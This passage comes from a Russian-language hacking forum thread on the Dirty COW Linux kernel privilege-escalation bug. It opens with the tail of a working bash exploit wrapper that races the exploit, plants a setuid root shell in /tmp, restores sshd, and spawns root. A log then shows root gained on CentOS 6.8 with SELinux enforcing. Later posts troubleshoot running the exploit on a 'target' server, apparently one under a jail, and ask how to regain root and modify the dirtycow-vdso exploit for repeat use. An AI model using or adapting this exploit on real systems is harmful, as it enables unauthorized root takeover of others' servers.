/bin/chmod 4755 /tmp/sbash
EOF
chmod 
+/tmp/x
./cow &
echo 
'trying...'
sleep 2
while true
 
do 
  echo > /
dev/tcp/0/22
  
if [ -"/tmp/sbash" ]
    
then killall -9 cow
    rm 
-/tmp/x cow cow.c
    
/tmp/sbash --'rm -f /usr/sbin/sshd; cp /tmp/sshd.bak /usr/sbin/sshd;chown 0:0 /usr/sbin/sshd;chmod +x /usr/sbin/sshd;id'
    
/tmp/sbash -p
    
exit
  else 
#    echo 'trying...'
    
killall -9 cow
    
./cow &
    
sleep 0.2
  fi
 done 

Цитата:

[exp@localhost ~]$ cat /etc/issue
CentOS release 6.8 (Final)
Kernel \r on an \m

[exp@localhost ~]$ sestatus
SELinux status: enabled
SELinuxfs mount: /selinux
Current mode: enforcing
Mode from config file: enforcing
Policy version: 24
Policy from config file: targeted
[exp@localhost ~]$ ./exp
trying...
trying...
trying...
trying...
uid=502(exp) gid=502(exp) euid=0(root) groups=502(exp) context=unconfined_u:unconfined_r:unconfined_t:s0
sbash-4.1#

lotos 26.10.2016 19:42

5 центось так же пробился

Acez666 30.10.2016 11:45

bash-4.1$ ./0.sh
-bash: ./0.sh: /bin/bash^M: bad interpreter: No such file or directory

Обычно сообщение bad interpreter о «Плохом интерпретаторе» возникает после внесения изменений в скрипт на виндовой машине и загрузке этого скрипта на Linux. Сообщение может быть следующего вида:

?
1
/bin/sh^M: bad interpreter: No such file or directory


норм фаил башевый залейте кот в лине делали плиз

Ravenous 30.10.2016 11:49

Цитата:

Сообщение от Acez666 (Сообщение 40582)
bash-4.1$ ./0.sh
-bash: ./0.sh: /bin/bash^M: bad interpreter: No such file or directory

Обычно сообщение bad interpreter о «Плохом интерпретаторе» возникает после внесения изменений в скрипт на виндовой машине и загрузке этого скрипта на Linux. Сообщение может быть следующего вида:

?
1
/bin/sh^M: bad interpreter: No such file or directory


норм фаил башевый залейте кот в лине делали плиз

Скачай dos2unix и выполни, т.к. на таргете его нет
dos2unix script.sh

tex 30.10.2016 17:46

Цитата:

Сообщение от Acez666 (Сообщение 40582)
bash-4.1$ ./0.sh
-bash: ./0.sh: /bin/bash^M: bad interpreter: No such file or directory

Обычно сообщение bad interpreter о «Плохом интерпретаторе» возникает после внесения изменений в скрипт на виндовой машине и загрузке этого скрипта на Linux. Сообщение может быть следующего вида:

?
1
/bin/sh^M: bad interpreter: No such file or directory


норм фаил башевый залейте кот в лине делали плиз



sed -i 's/\r//' ./0.sh

tex 30.10.2016 19:24

https://asciinema.org/a/4hycvefmeh7qa4x3s8t3n79sf
оригинальный вариант через /etc/group и sudo

Ravenous 13.11.2016 22:02

Из за того, что сервер под jail'ом кроме как этого варианта ничего не применить https://github.com/scumjr/dirtycow-vdso
Первый раз он отработал успешно, но на второй раз он не хочет работать
Цитата:

./0xdeadbeef[*] payload target: 127.0.0.1:1234
failed to find a place for the payload
Вариант с перезагрузкой сервера не подходит в моем случае.
Автор пишет мол легко изменить, но не говорит как)
https://github.com/scumjr/dirtycow-vdso/issues/6
Цитата:

scumjr commented 17 days ago
This is your machine, right? Just reboot it. Otherwise, the exploit can be slightly modified to achieve your goals.
Может кто-нибудь подскажет?

cj69 14.02.2017 02:50

Вроде RHEL 5/6 Вулн, а рабочего кода под них нет. Кто-то смотрел что с 5 и 6той веткой?

SynQ 28.05.2017 12:20

Статья про внутренности бага в ядре:
https://chao-tic.github.io/blog/2017/05/24/dirty-cow

LorDo 06.11.2017 04:38

Цитата:

Сообщение от SynQ (Сообщение 40558)
lotos
Вот этот должен работать, плюс не завесит машину:
https://github.com/scumjr/dirtycow-vdso

Я вот не понял, рутанулся с помощью этого экплоита, а как второй раз под рутом зайти ?
Не изменял в нем ничего, при повторном пользовании пишет
[*] payload target: 127.0.0.1:1234
failed to find a place for the payload

Ravenous 20.11.2017 16:37

Цитата:

Сообщение от LorDo (Сообщение 43330)
Я вот не понял, рутанулся с помощью этого экплоита, а как второй раз под рутом зайти ?
Не изменял в нем ничего, при повторном пользовании пишет
[*] payload target: 127.0.0.1:1234
failed to find a place for the payload

Поздравляю! Больше никак)

LorDo 21.11.2017 21:50

Цитата:

Сообщение от Ravenous (Сообщение 43381)
Поздравляю! Больше никак)

Ну и что это за дичь ? Кто-то может исправить эксплоит ?


Часовой пояс GMT +3, время: 17:05.

Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2020, Jelsoft Enterprises Ltd. Перевод: zCarot